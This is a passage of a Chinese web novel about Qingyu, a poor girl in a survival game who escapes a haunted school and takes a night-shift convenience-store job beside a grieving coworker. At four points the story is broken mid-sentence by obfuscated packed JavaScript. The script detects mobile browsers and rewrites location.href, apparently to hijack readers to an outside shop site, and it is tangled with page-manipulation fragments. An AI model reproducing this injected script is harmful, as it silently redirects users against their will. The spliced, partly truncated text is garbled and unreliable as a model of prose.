突然,肩膀上出现了一只手,牢牢将她钳制在原地,耳边有一道声音响起,“你说谎,你逃了。” 青于转过头,看见了詹玉婷。她依旧穿着那身过大的西装,搭在青于肩膀上的手逐渐用力,一点点将她往回带,她脸上带着笑,“别过去,真的会死的。如果垃圾车是逃生的话,那这辆车就是真正的垃圾车,我们会把被污染的人找出来送上这辆车,程叶会带着她离开,然后销毁。” “你们只会经历我们经历过的故事,那些我们没能经历的剧情,你们永远也到不了,现在,你成功经历了所有的坐标点,没有放弃、没有认输,始终都在坚定地反抗着。我们唯一成功的逃生方式就是垃圾车,所以这里只有垃圾车是生路,别的不管什么方式,都会死。” 她突然伸手握住了青于的手腕,握住那只她拿刀的手,然后费劲儿地往上抬了一些再狠狠刺下,她说:“我力气小,刺得没你那么深。如果我的力气大一点就好了,现在或许会多出一条生路,对不起啊,让你和我们一样被困在这里。” 青于挣脱了她的手,然后将刀反握,抬高手臂垂直地往下刺。 她将刀塞进詹玉婷的手里,教她怎么握刀,然后用自己的手包住詹玉婷的手狠狠往下刺了一刀。 那一刀刺下时,青于感受到了她的战栗。一瞬间的战栗,不知道是兴奋还是恐惧。 青于说:“要这样拿着,找准了位置往下刺,才能成功。” 詹玉婷点了点头,然后开始掉眼泪。她一边拉着青于往回走,一边哽咽着说:“我想离开,但是没办法离开。我想获得力量,又不想变成徐念雨她们那样的怪物,只能借着别人的身体出去一段时间,最后还得回来。” “我好像从来没有成功过,不管是做什么。” 青于把那柄消防斧塞进她手里,又从仓库里取出两块压缩饼干递给她,“你现在有武器,有食物,别害怕。” 她昨天晚上看见了她们狩猎,明明在兴奋地尖叫,却始终害怕着猎物的手,也害怕着猎物的眼。每次猎物挣扎时,双手乱挥,她们的尖叫声都会变得格外恐惧,会像一群被惊起的鸟雀,四散奔逃,可当猎物再次逃走时,她们还是会追上去。 总会有第一个带头者,总会有人勇敢地扑上去控制住猎物。 她们依旧害怕那些手,依旧害怕那些眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16603919|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但是同伴在身边,彼此的尖叫是冲锋的号角,所以暂时没那么害怕。 明明被狩猎的是那些客人,但身为猎人的她们并没有快乐。 她们脸上都戴着兔子面具,她们始终觉得自己的猎物,她们在恐惧。 想到这,青于说道:“下次狂欢晚会,你们可以戴上老虎的面具,戴上狮子的面具,毕竟,你们才是猎人。勇敢一点,拿着武器冲上去。” 詹玉婷看着她没有说话,只是用那双被泪水洗过的清澈双眼静静地凝视她。 这时,青于的终端突然响了。 【叮——天赋开启,当前绑定目标为詹玉婷】 这句提示音结束后,周围的景物都消失了,面前出现了一座巨大的,无论怎么仰望也看不到顶的双子大厦,一蓝一红,界限分明。双子大厦中间有一道透明栈桥,密密麻麻的人影在上面穿梭着,他们穿着黑色的制服,像排列整齐的蚂蚁。 随后,一道声音电子音突兀地插入,破坏了双子大厦所带来的震撼。 【母亲孕育你抚养你,你依赖她爱护她,你们之间的脐带永远存在着,死亡的躯体并不是母爱的终点,她遗留在你身上的意志将赋予她永生。比起一个独立的个体,你更认同自己的身份是“女儿”,所以你获得了属于自己的天赋。】 【双子大厦的领袖温丽曾说过:她愿将自己最复杂的情感概括为母爱,她愿将自己最喜爱的人、最欣赏的人、最珍惜的人称之为孩子,她会对孩子们献上她的爱。】 【双子大厦的领袖朱玲曾说过:身为女性,她能想到最无私且慷慨的情感,就是选择成为一个母亲。】 【后来,我们用很多华丽的词汇来形容母亲。但无私、慷慨、复杂是领袖们最初给予这份爱的词汇。】 【“身为女性,我想要成为你的母亲。”这是唯一的选择,这是至高无上的爱,所以,你准备好接受这份复杂、无私、慷慨的情感了吗?】 【请注意,每个副本内仅能绑定一位目标,在该副本中,你将接受来自她的爱。最重要的是,这份爱是复杂的,或许会有让你为难的要求,或许会令你觉得压抑,但请记住,你要成为母亲最优秀的继承者。】 青于抬手,点下【确定】。 【绑定成功,可继承的能力为:不屈的反抗者(拥有此能力,耐力与体力提高30%)】 【请玩家注意聆听目标的要求,如果目标的要求不能被完成,则无法继承。】 “新同学,活着离开吧。就像你曾说过的,在倒下之前,你永远拥有无限的可能,所以,离开这里吧。” 她的声音由远及近,最后重重敲击在青于的耳膜上,她认真地点头,“我会活着离开的。” 远方传来了“铛铛铛”的声音,一股臭味随之而来。 詹玉婷推了青于一把,“快去吧,垃圾车来了。要一直奔跑,不要停下,只要不停,就能离开。” 青于拼命往垃圾车所在的方向跑,黑影依旧追在身后,但是她发现那些黑影越来越慢,凭借肉眼几乎看不出来黑影移动的痕迹。 我要离开,我一定能离开。 她奔跑的速度并不快,但距离垃圾车却越来越近。 在跳上垃圾车的那一瞬间,她被各种臭味淹没,她捏着鼻子站起来往操场的方向看去,詹玉婷站在那里朝她挥手。 那些黑影在她脚边沸腾着,却始终没能触碰到她。 为什么呢? 因为她是不屈的反抗者。 只要不服输,只要不停下,就能超过黑影。 垃圾车开始往前开,中途路过了站点。 青于从慢悠悠的车上跳下来,然后坐在站点等待列车到站,她从书包里拿出一个玉米,开始慢慢啃着。 王美燕和陈建设到的时候,青于正好啃完两个玉米。 她瞥了一眼,问道:“符让呢?” 陈建设瘫在长椅上,有气无力地说:“复活CD还没好,怕是赶不上了。这个时间坐标里的垃圾车开得太快,刚跳下来的时候差点摔死我……” 列车到站的时候,青于第一个爬上去。随后是陈建设,最后才是王美燕。 青于坐在门边,王美燕上车的时候,她伸手将其推了下去,车门正好合上。 她朝着王美燕挥了挥手,然后笑着说:“你也推了我一把,现在扯平了。” 【玩家成功继承能力,耐力与体力提高30%】 26.畸变都市(1) 【副本表现评级:C,已达标(为最低达标评级,请玩家加强探索,尽快改善)】 【本次副本的奖励为:通关币*20、纯净水1000ml、双子大厦纪念币(红色)*1、平江三中学生证(佩戴时默认身份为学生)】 纪念币?一个新的物品。 大小和通关币一样,但是通体红色,上面映着的双子大厦是突出来的,散发着高级货的色泽。 青于又点开了个人信息。 【姓名:青于|性别:女|年龄:18|籍贯:石洞子村|身份编码:XWSⅡ0719720】 【当前状态:存活|副本通关次数:2|通关币余额:23.5|信用评级:A】 【天赋:全职女儿】 【特别提醒:玩家上次购买的生存套装未使用,已退回一半费用】 青于这才想起来自己进入第一个副本之前买了生存套装,花了一个通关币。结果在副本里却忘了用,白白浪费了半个币。还是太紧张了,所以一直都很赶,思绪也是乱糟糟的。 不过她的副本表现评级很低,为什么呢?这才刚刚及格,要是不及格怎么办,没有奖励吗?那不是白干了吗?下个副本要注意了,可以慢一点,但是一定要想办法提高副本表现评级。 青于穿着脏兮兮的白衬衫和西裤在座位上思考,没有去管陈建设看过来的眼神。 这次她上车的车厢发生了改变,除了她之外只有两个人坐在座位上,一个是陈建设,另一个是个七八岁的小姑娘。 王美燕被她推下去了,不知道后面有没有成功上车。 那个小姑娘一个人坐在后排,她扎着两个紧绷的丸子头,露出光洁的额头,发丝好像沾了水,光滑油腻,紧紧地贴着头皮,发际线已经很靠后了。上衣是一件红色的旗袍上衣,布料劣质,袖口处全是线头,下面穿着一条柔软的白裤子和一双软底的练功鞋。 她的表情冷漠,正在用终端看动画片,外放的声音有点大,搅乱了青于的思考。 青于听着动画人物夸张的声音,开始捣鼓自己的终端,想要找到那个可以看动画片的选项,但是全部点了个遍都没找到。 她瘪了瘪嘴,觉得可能是自己的终端太低级了。这些应该都是老玩家,他们的终端或许会高级一点。 中午,苏十再次出现在车厢里开始售卖物资。 没有食物也没有水,只有家电、服饰、文具。 青于什么也没买,她有点明白了,自己的钱要省着花,因为花光了就只能用通关币换金钱,但是一枚通关币只能换到八千,很不值。 吃得可以去副本里想办法,水也去副本里喝,离开的时候再从里面穿套衣服出来,能省一点是一点。 她身上的伤口还很疼,就算王美燕在救护车上帮她简单处理了,依旧很疼。 她看着被绷带包起来的膝盖和手肘,突然觉得有点麻烦,这样会影响她去下一个副本做任务,如果又是一个需要打打杀杀的副本,她的伤口一直不好的话可能会感染的。 她不怕疼,但是她怕死。 穷人对身体上的伤痛总是有无限的幻想,无知或许会轻松点,就怕一知半解,因为会不断将自己的伤痛在脑海里构想,是严重的、是罕见的、是需要住院的、是治疗费用高昂的。 青于的奶奶因为肺炎感染严重住过一次院,在乡镇卫生院住了十多天,出院时需要两百七十块钱结账。 她看着大伯从口袋里翻出一沓钱,是旧旧的钱,零零散散一大把。 二十的、十块的、五块的、一块的、五毛的。 数了好半天才递给收费室的医生,那个医生却皱着眉递了两张出来,语气冷漠地说:“这两张有破损,换一下。” 大伯搓着手,为难地站在原地,额头上的汗流过鬓角,他又开始翻那一沓钱。 或许是气氛太安静了,又或是收费室门口的风太冷了,他的手有些颤抖,手掌上皲裂的伤口刮在钱上,青于好像能听见声音,是“沙沙沙”的声音,是钱的声音,是手的声音。 重新将钱递了进去,大伯没忍住嘟囔了一句,“才住了几天,怎么那么贵?” 收费室里的人高声说着:“大哥,这不算贵了。已经报销了很多,你们自己付的连一半都没有……再说了,都这个年代了,两百多块钱谁家都掏得出来,这是生病住院,不是那些可有可无的花销!” 他的声音有些尖锐,周围的病人或者家属都看过来了。 他们或许也觉得贵,或许觉得很便宜,但是都不约而同地看了过来,将大伯和青于的皮看透了,刮没了,只剩下一副光秃秃的骨架子和再也不会因为贫穷而脸红的脸皮。 两百七十块钱,是贵的。生病,是贵的。 所以忍耐成了常态,沉默就是良药,只要不说不看,总会好的。 即便在心里预演了一千次一万次,这是绝症,是死亡的前奏,是生命终结前的警告,可总是会忽略,下意识地忽略,无可奈何地忽略。 窗外的景物不断变化,青于将头靠在车窗上,一路颠簸,她的头起起落落,在车窗上磕了无数次。 她想起了很多,想起了第一次生病时的恐惧,也想起了每一次不舒服时的惶恐。那种惶恐如影随形,始终在跟着她,直到今天,伤口被脏污的绷带勒紧,她的脖颈被惶恐不安勒紧,她快要窒息了。 【下一站:畸变都市(A级),将在落日后到达,请需要下车的乘客做好准备】 副本信息刷新了,青于从自己的思绪中抽离,她看着那条信息,突然觉得自己活过来了。不能想太多,要往前看,看前面的信息,看前面的副本,看前面的道路。 窗外的光线以一种肉眼可见的速度开始变暗,仿佛有只巨手正缓缓拉上灰败的天幕,只为了快点迎来新的副本。 青于眨了眨眼,觉得这里其实也挺好的,她看到了很多从未见过的,经历了很多从未经历的。从踏上这趟列车的那一刻开始,她就注定了会成为一个有出息的人,会成为一个见过大世面的人,石洞子村没人比得过她。 她一定是最有出息的,最能让妈妈骄傲的。 远处的城市轮廓开始扭曲,钢筋水泥堆砌的大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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三人连忙走到出口排队,迅速将通关币投进了钱箱里。 “哒、哒、哒” 三枚通关币成功落入钱箱,最后一声脆响结束后,车门瞬间滑开。 一股熏眼睛的恶臭瞬间涌入车厢,有腐肉的味道、化学剂的味道、血液的味道和某种难以描述的甜腻气味,不同的味道混合着扑向他们,一瞬间的冲击让脑袋有些发晕,鼻腔里全是那种强烈的味道,久久不散。 站台的地面不再是平整的水泥,而是覆盖着一层厚厚的灰色菌菇,细长的菌菇铺成了长长的菌毯,落脚后那些菌菇会快速生长,缠住你的双脚,然后蔓延到小腿。 好在它们的生长有极限,最多只会到达小腿处。 小女孩第一个下车,她的软底练功鞋踩在那层菌毯上,没有发出任何声音,菌毯在她脚下微微下陷,随即又恢复原状开始生长纠缠。她小小的身影没有丝毫停顿,径直走向站台深处,每一次抬脚都会扯断一圈菌菇。 青于也立刻下车,她的西装裤有些大,裤管空荡荡的,那些菌菇爬上了她的小腿,紧紧贴着那层薄薄的皮肤,是滑腻的、冰凉的、有力的。 她因为那诡异的触感哆嗦了一下,然后用力抬脚扯断菌菇,朝着站台深处的浓雾中走去。 27.畸变都市(2) 【副本:畸变都市】 【副本等级:A】 【副本信息:藏在黑夜里的神秘生物,被子里发出的诡异声响,不断撞击垃圾桶盖的未知存在,无处不在的寄生和繁殖……这座城市孕育了新的生物,祂们的数量快速增加,却始终没有被重视。你出现在这座城市,带来了新的希望,不过,你是人类的希望,还是祂们的希望?】 【副本要求:收集五种畸变物,且不被寄生(获得道具,收纳盒*5)】 【个人信息获取中——姓名:青于,身份:自定义(凭借你的能力,去成为任何人)】 这里是繁华都市的老城区,老城区很小,也很破旧,只有一条主干道和几条小路。 主干道两侧陈列着同样的建筑,一楼是商铺,二楼是民房,还有一个老旧小区,据说以前是某个工厂的员工宿舍。 道路狭窄,车辆偶尔经过,常见的车标和不常见的车标都会出现在这条路上,同样呼啸而去。人行道上的路灯坏了一半,树木的阴影斑驳变化,一些醉鬼正扶着树呕吐。地砖不平,有的翘起有的凹陷,走过时会发出声响,也会随机溅起一些散发着恶臭的泥水。 青于一直往前走,走到了一个小区里。 小区里很暗,有个很大的斜坡,在斜坡最上方有一个垃圾处理区,旁边是个绿箱子,上面画着衣服的形状。 青于眯着眼,看清了绿箱子上的字:旧衣回收处。 这个小区叫红星小区,对面有一家便利店,黄色的灯牌很亮,是这附近最亮眼的存在。 现在是晚上十点三十分,便利店的玻璃门大开着,上面贴着防撞的标识,里面有员工坐在收银台打游戏,声音很大。收银台旁边有一个架子,上面放着烤肠机和关东煮,几根油滋滋的烤肠慢悠悠地转着,关东煮的锅里散发着香味。 架子前面贴着标签:烤肠两元一根,关东煮两元一串。 “欢迎光临。” 便利店的门上有感应系统,可以自动识别客人进出,进门是“欢迎光临”,出门是“感谢惠顾”。 游戏的声音瞬间消失,坐在收银台后面穿着工作服的女生立马坐直,她的胸牌在明亮的光线下暴露无遗,上面写着她的名字:邓兰兰。 门口进来了一个年纪不大的女孩,个子高挑,但是很瘦,那是一种营养不良的瘦,脸颊上没什么肉,露出来的手腕也很细。黄色的皮肤和脸上的小雀斑让她很有辨识度,深眼窝和那双眸子却显得她很凶,有一种野性,像动物一样的野性。 她穿着一件黑色的连帽卫衣,胸前有黑白的印花,衣服很大,不太合身,挂在她身上空荡荡的,袖子是束口的,在细瘦的手腕上堆了一叠。一条灰色运动裤,同样宽松过长,盖住了那双脏兮兮的运动鞋。 她身后背着一个破破烂烂的书包,深蓝色,有卡通人物的印花,款式很老,在邓兰兰的记忆里,她弟弟上小学的时候就会背这样的书包。 书包的印花被顶出一个凸起,里面好像装着什么东西。 不过…… 邓兰兰皱眉,长按手机侧键,召出了紧急通话界面。那上面显示着报警电话,只要手指点一下就能立刻拨通。 书包上有血、头发上有血、鞋子上有血、脸上和手上都有血。 那双白色的运动鞋已经被血浸透了,一进来就散发着血腥味。邓兰兰往后推了推,从身后的货架上拿起自己准备的防狼喷雾,声音有些嘶哑地说:“你、你要干什么?” 青于指了指店门口贴的A4纸,“上面写着招聘,我来找工作。” 邓兰兰并没有放下戒心,反而更紧张了,“你多大了?成年了吗?我们不招未成年人。” 青于说:“成年了。” “你身上,怎么回事?” 青于抠着手上的血迹,舔了舔嘴唇说道:“我家里人死了,我没地方去了。姐,可以让我留下来吗?我可以上夜班,也可以搬货和理货。” 门口的招聘公告上写着,要能吃苦耐劳,接受上夜班的。 邓兰兰看着她,心里有些动摇,但那满身的血迹实在让人害怕,“你家里人怎么死的?你这身上的血……” 青于垂下头,声音低低地说:“我爸犯精神病自杀了,家里到处都是血,我妈妈早些年也不在了,家里人就把我撵出来了……”她说着装模作样地擦了擦眼泪,实则一直用余光观察着邓兰兰的表情。 邓兰兰皱着眉,还是有些犹豫,但是她突然想到了什么,看着青于直白地说道:“我们这儿不交社保,每个月工资三千,给现金。试用期一个月,工资是一千八,很大概率被拖试用期。目前有两个员工,另一个不上夜班,如果你来的话每天都要上夜班,从晚上十二点到早上八点,而且周围很多烧烤店和酒吧,所以会比较乱,有时候会遇到一些无理取闹的客人,你确定你能接受?” 青于点头,“可以。” 她甚至期待着可以在这个副本里多待一段时间,多挣一些钱再离开。 邓兰兰看了她一眼,指着便利店最里面的一道门说道:“从那道门进去,右边是洗手间,你去洗一下吧。我给你找员工制服和鞋子,之前在这儿工作的小严和你体型差不多,但是她突然就失踪了,所以才会招人……” 青于正式入职了便利店,但是试用期不签合同,老板也没要她的身份证和别的资料,她就这样草率地开始上班了。 邓兰兰在对面的红星小区租房住,二十多平的单间带厕所,一个月八百,她邀请青于跟她合租,一个月给她四百,不用买床,可以睡她的折叠沙发。 青于同意了。 副本信息里提到了“黑夜”里的怪物,所以她觉得畸变生物可能会在夜晚出没,准备在便利店守株待兔试试。就算没有遇到,也可以摸清楚这个世界是什么情况,是不是一个正常的世界。 第一个夜班她跟邓兰兰一起上,对方教她收银和补货。 后半夜实在没人,两人还分吃了剩下的烤肠和关东煮。邓兰兰已经吃腻了,所以只吃了一点,青于就把剩下的全吃光了,还用关东煮的热汤泡了一包过期的泡面吃。 那是青于第一次吃饱,因为那些卖不掉的食物是不需要花钱的。 之后连续一周的夜班,青于都没有发现畸变物的线索,但是她熟悉了便利店的工作,经常在夜班的时候坐在收银台后面用电脑搜教学视频,学拼音、学汉字、学数学,都是些小学的课程,她是第一次接触。 她想着,任务完成得慢一点也没关系,她在这里可以赚工资也可以学习。学习很重要,知识很重要,或许下一次副本就会用到了,而且邓兰兰很有耐心,会教她用电脑,这是一个很珍贵的机会,她不想错过。 便利店的第三个员工是个四十多岁的大姐,姓方,邓兰兰和周围的邻居都叫她方姐。她是老板的亲戚,所以只上白班不上夜班。方姐外表看起来是个很和气的人,给青于带过一次自家种的橘子,还经常说有时间去她家吃饭。 不过邓兰兰经常在宿舍吐槽她,说她接班老是迟到,家里经常有事请假,还会让邓兰兰去帮她接小孩儿,上班的时候也会把小孩儿带到店里来,那个小孩儿会把货架和收银台弄得乱糟糟的,方姐也不收拾。 或许是青于看起来没有邓兰兰那么好欺负,所以她还没给青于添过麻烦。 说起邓兰兰,她家就是本地的,而且离老城区也不远,但是她很少回家。每次家里打电话过来,她都是敷衍的,说要上班,说最近店里忙什么的,一次都没回去过,而且每次打电话的语气都很冲。 青于和她住了那么几天,其实没说过几句话。 她是个话很少的人,休息的时候就躺在床上玩手机或者打游戏,有时候会坐在床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623544|184859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上抱着一个旧玩偶发呆,等到双腿麻了就躺下睡觉。 每天吃饭就是泡面或者楼下小餐馆十五块钱一份的蛋炒饭,那炒饭重油重盐,她每次只吃一小点,一大半都分给了青于。 青于偶尔会想,邓兰兰其实是个好人,但是她又懒得做个好人,所以看起来对什么都不太上心,人也有些冷漠。 邓兰兰过得很拮据,有时候也会念叨着想吃肉,牛肉、鸡肉、羊肉,她会冷不丁地突然来一句“等我发了工资,我们去吃肉吧”。然后不等青于回答,她就兴致勃勃地开始计划,打开手机里的点评软件一家一家地翻评论,用一个笔记本把每一家的名字写下来,然后在下面列出优缺点,优点用红笔,缺点用黑笔。 而且她对这件事的专注远不止如此,在之后的一天里,她隔一段时间就要点开那个点评软件,然后看有没有新评论。 接下来又是抄评论和数人数,她疯了似的沉迷其中,甚至让青于也感受到了一些窒息和急切的痛苦。 他们点的是多少人的套餐?他们的返图里有多少种食物?他们的锅底是什么? 那本笔记本翻得很快,邓兰兰写字的速度也很快。 邓兰兰上班的时候,青于翻看过那本笔记本,这样的记录从三年前就开始了。 但是三年了,邓兰兰都没有踏进那几家火锅店,唯一有的,只是楼下小炒店二十块钱一份的芹菜牛肉炒饭。她会强迫自己把那份炒饭吃过,然后在本子上写下无数好评,就像那些软件上的点评一样详细,然后,又用黑色的笔写下差评。 她写:太撑了,一点也不好吃。 她写:太贵了,真的很浪费。 她写:我一顿饭花了二十块钱,可以买好几把挂面和泡面,然后吃好几天了。 在最新的一页,她写着:明天就是发工资的日子,这次我有四百块,我要去吃那家牛肉火锅。我一个人去,骑共享电动车去,花八块钱,然后点个一人套餐,一百三十块钱,回来也骑车,一共是一百四十六块钱。 青于合上笔记本,今天就是上面记录的“明天”。 她甚至有些期待,邓兰兰会不会去吃那顿饭。 她不懂这顿饭对邓兰兰来说意味着什么,她只知道她很痛苦,夜里那些辗转反侧,失眠多梦,总是无意识地发呆和自言自语,她希望这顿饭可以终结邓兰兰的痛苦。 有一次她早上八点下班回来,看见邓兰兰坐在床上发呆,抱着那个旧玩偶流眼泪。 她出声惊醒了她,邓兰兰抹了抹眼泪说,“我好像习惯你的存在了,你不在家的时候,空荡荡的,太安静了,感觉家里有很多怪物在盯着我。” 青于不理解,她从未感受过一个人在家的孤独感,就问她:“那以前我不在的时候呢?” 邓兰兰说:“我把综艺放很大声,就好像家里有很多人,很吵很热闹,然后我就能睡着了。但是昨晚很奇怪,综艺的声音很大,吵得我心烦,可我依然觉得家里很空很大,心里很慌。” 青于不知道该怎么回答,就没说话。 没一会儿,邓兰兰又开始自言自语,她抱着那个玩偶,念叨着:“还有几天发工资?还有四天?还是五天?我要去吃那家潮汕牛肉,草原小黄牛也可以,那家网红店也不错……” 一开始,青于是有点嫌弃邓兰兰的,她觉得这个人神神叨叨的,感觉像精神不正常,所以每天在家的时候都会把书包打开放在被子里,杀猪刀的刀柄就在手边,只要一发现不对劲就能立刻动手。 但是渐渐的,她开始觉得邓兰兰有点可怜,好像能感受到她身体里的痛苦。 青于觉得,应该是自己吃了她好几次炒饭,所以关系变好了。 她决定了,如果今天晚上邓兰兰没有去吃火锅,那明天早上下了班就强行带着她去,让她终结这种痛苦,或许到时候就会轻松点了。 28.畸变都市(3) 今天是发工资的日子,上午青于和邓兰兰都在家。 邓兰兰的排班是下午六点到晚上十二点,青于的排班是晚上十二点到早上八点,所以早上八点到下午六点这段时间她们都在家里。 工资是中午到账的,好像是十一点左右,邓兰兰的手机响了一声,青于记得,那是短信的提示音。 随后,她看见邓兰兰盯着手机屏幕看了很久很久,然后又打开了那个本子,从背面往前翻,在纸张上写写画画,折腾了大半个小时,她突然合上了本子。 从十二点到下午两点,邓兰兰一直躺在床上,没有刷短视频也没有看综艺,只是静静地躺着,眼睛直直地盯着天花板,有些呆滞。 青于上厕所的时候经过了她的床,没忍住偷偷看了她一会儿,有眼泪从她的眼角溢出来,然后无声滑落,浸入枕头里,在浅灰色的枕套上留下一片越来越大的痕迹。 她在哭,为什么? 已经发了工资,她可以去吃自己想吃的肉,可以买一些自己喜欢的东西,为什么要哭呢? 她连抬手擦眼泪的动作都没有,就那么面无表情地流眼泪,仿佛哭泣的不是她的灵魂和意愿,只是这具湿漉漉的躯体在往外渗水。 两点一过,她忽然起床了,换上一件干净的白色衬衫和一条浅蓝色的牛仔裤,背着一个浅棕色的斜挎包,笑容满面地对青于说:“我要出去吃点东西,你要一起吗?我们骑共享电动车去,十几分钟就到了。” 青于点头又摇头,“我想和你一起去,但是我不会骑车。” 邓兰兰笑了笑,心情很好地说:“骑车很简单的,我可以教你。走吧,我们去下面试一下,看你有没有骑车的天赋。” 出了小区,邓兰兰扫了两辆不同品牌的共享电动车,然后在路边教青于骑车,青于个子高,腿也长,骑在车上脚也能轻松地踩到地面,所以学得很快。 路边有一家五金店,店主正蹲在门口吃盒饭,那个店主和邓兰兰是认识的,他满嘴油腻地搭话,“要出门啊?” “嗯,去城里吃顿饭。” 老城区和繁华的都市很割裂,所以他们每次去那边都说是“去城里”。 店主擦干净嘴,清了清嗓子善意提醒道:“你们两个小姑娘最近上夜班小心点,在店里备点防身的工具,回家的路上也别玩手机,警惕点。这几天晚上不对劲,昨天晚上前面那段路有个人自杀了,那个人穿了一身黑衣服,趴在路边,看见有车来了就爬过去,被轧得不成人形了……” 邓兰兰笑了笑,看起来并没有在意店主的话,她说:“是不是刚从酒吧出来的醉鬼啊,去年好像也有这种事,喝醉了往车辆上撞的。” 店主摆了摆手,左右看了看,发现没有路人后就小声说:“不是醉鬼,那个人清醒得很,我在阳台亲眼看见的,他像是被什么东西拖着往前走一样,手脚的动作诡异得很,像一只大蜘蛛。” 店主抖了抖,浑身起了层鸡皮疙瘩,他心有余悸地说:“我今天要早点关门回家,太邪门了。过几天和家里人去庙里看看,求道平安符来避避邪。” 邓兰兰没继续跟他闲聊,看着青于动作逐渐熟练,就直接带着青于驶上慢车道,穿过萧条冷清的老街,朝着那片繁华热闹的都市而去。 她们没有去吃火锅,也没有吃肉。而是去了海边,海边有一家小餐馆,邓兰兰点了两碗炒面,然后和青于坐在门口的折叠桌上吃饭,桌上摆着两只纸杯,装着店家提供的免费茶水。 咸味的海风吹过来,深褐色的茶水表面泛起细微的涟漪,细碎的茶渣在杯子里浮浮沉沉。炒面很油腻,就算是青于的好胃口,也要就着茶水才能吃完。 吃完饭后,她们来到了沙滩上,坐在沙子上发呆。 青于抱着自己的小书包,凝望那片蓝色的海。 沙滩的颜色并不均匀,灰褐色和深深浅浅的黄色交织着,复杂又凌乱,像青于的思绪一样。海浪一遍遍袭来又褪去,将沙子冲刷出不同的纹路,留下一层易碎的白色泡沫。 “这世界上的海都长一个样吗?”青于突然问道。 邓兰兰躺在沙滩上,望着天空飘过的云朵,轻声说:“不一样吧,我也不知道,我没去过别的地方,没看过别的海。” 青于把脸埋进膝盖里,她看到了海,却一点也不高兴,或许她并不是想要看海,她只是想找到妈妈家乡的那片海。 就算河流最终都会汇入大海,海与海之间总有交集,可她依旧觉得,这不是她想要找的海。她想要的,是妈妈眼里的那片海,是和妈妈的泪水一样咸的那片海。 躺了没一会儿,邓兰兰就说要回去了。 青于问她,“我们跑那么远,是为了来吃这里的饭,还是为了来看海。” 炒面不好吃,二十块钱一份还没什么肉,不如楼下的蛋炒饭,鸡蛋和白菜都放得足足的,一打开就是热腾腾的饭香味。 海也不好看。 邓兰兰说:“在我的成长经历中,有很多痛苦的记忆,每当我看不清自己的时候,就会通过回想那些痛苦来认清自己。我不知道现在的我是什么样的,但是我记得记忆里的我。” “小时候,我站在那里,”她伸手指了一下海洋和沙滩的连接线,脸上露出一种青于无法解读的表情,像是麻木,又像是无助,她继续说道:“我瘦小、懦弱、没出息,看着我妈妈一步步走进海里。” “我没能救下她,我是个废物。” “我的存在拖累着她,我是个恶魔。” 青于浑身颤抖,紧紧抱着自己的书包,出于某种敏锐的天性,她开始感到不安,想要摆脱这种令人窒息的氛围。可,好像摆脱不了。 “我是她的孩子,我夺走了她很多东西,她始终在‘失去’,却没有从我这里得到一瞬间的快乐。我像是一颗苦难的种子,被强行塞进她的子宫里,她用很长的时间孕育我,最后生下了名为‘苦难’的果实……也不是果实,这个词太美好了,应该是寄生虫,我是她生命里的寄生虫。” 青于极力蜷缩着身体,整个人好像被一只巨大的手紧紧攥住,连呼吸都变得格外艰难。邓兰兰的声音很轻,却一声叠着一声,每当她想要喘息时,那些话就会重重地砸在她的耳膜上,然后顺着骨骼钻进血肉里,变成一条冰冷的锁链,让她无法挣脱。 她想捂住耳朵不听了,想大声呵斥让邓兰兰别说了,可手动不了,嘴也动不了,她只能无助地抱住自己,试图躲避那些无处不在的海风,将自己的胆怯藏进身体里阴影里。 “那天,我看着她一步步往海里走,我想追上去的。可是海水好冷,我的脚好重,我的腿好僵,我动不了……后来我长大了,才知道当初拽住我的东西叫胆怯和懦弱。它们一直都在,在我的梦里,变成了宽大的手,变成粗粗的铁链,牢牢禁锢着我,让我在梦里也无法追上去。” “我好痛苦。” 青于挣扎着站起来,踉跄着往前走了两步,突然发现自己的小腿已经被浸泡在海水里了。澄净的海水里有一双双大手,正牢牢抓着她的脚踝,还有锁链,顺着海水的痕迹不断往上缠着。 她明明没有动,海水却越来越高,没过膝盖、大腿、胯骨、腰际、肋骨、胸口,就在即将灌入口鼻时,她看见前方飘着一个深蓝色的物体,她的脑子还没有反应过来那是什么,但是双脚已经不顾一切地往前迈了。 那是她的书包! 她的书包! 青于屏住呼吸,用力地抬脚,可每次稍微抬起来一点就会被拽下去,那些手,那些锁链,紧紧纠缠着她,并没有因为她的意志而产生丝毫的松动。她用尽全身的力气拼命挣扎,就算是抬脚会被拽下去也依旧没有放弃,不停地抬脚,不停地试图迈出去。 在她的身体完全被海水淹没时,她看到自己的书包近在眼前。 她伸长了手臂去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 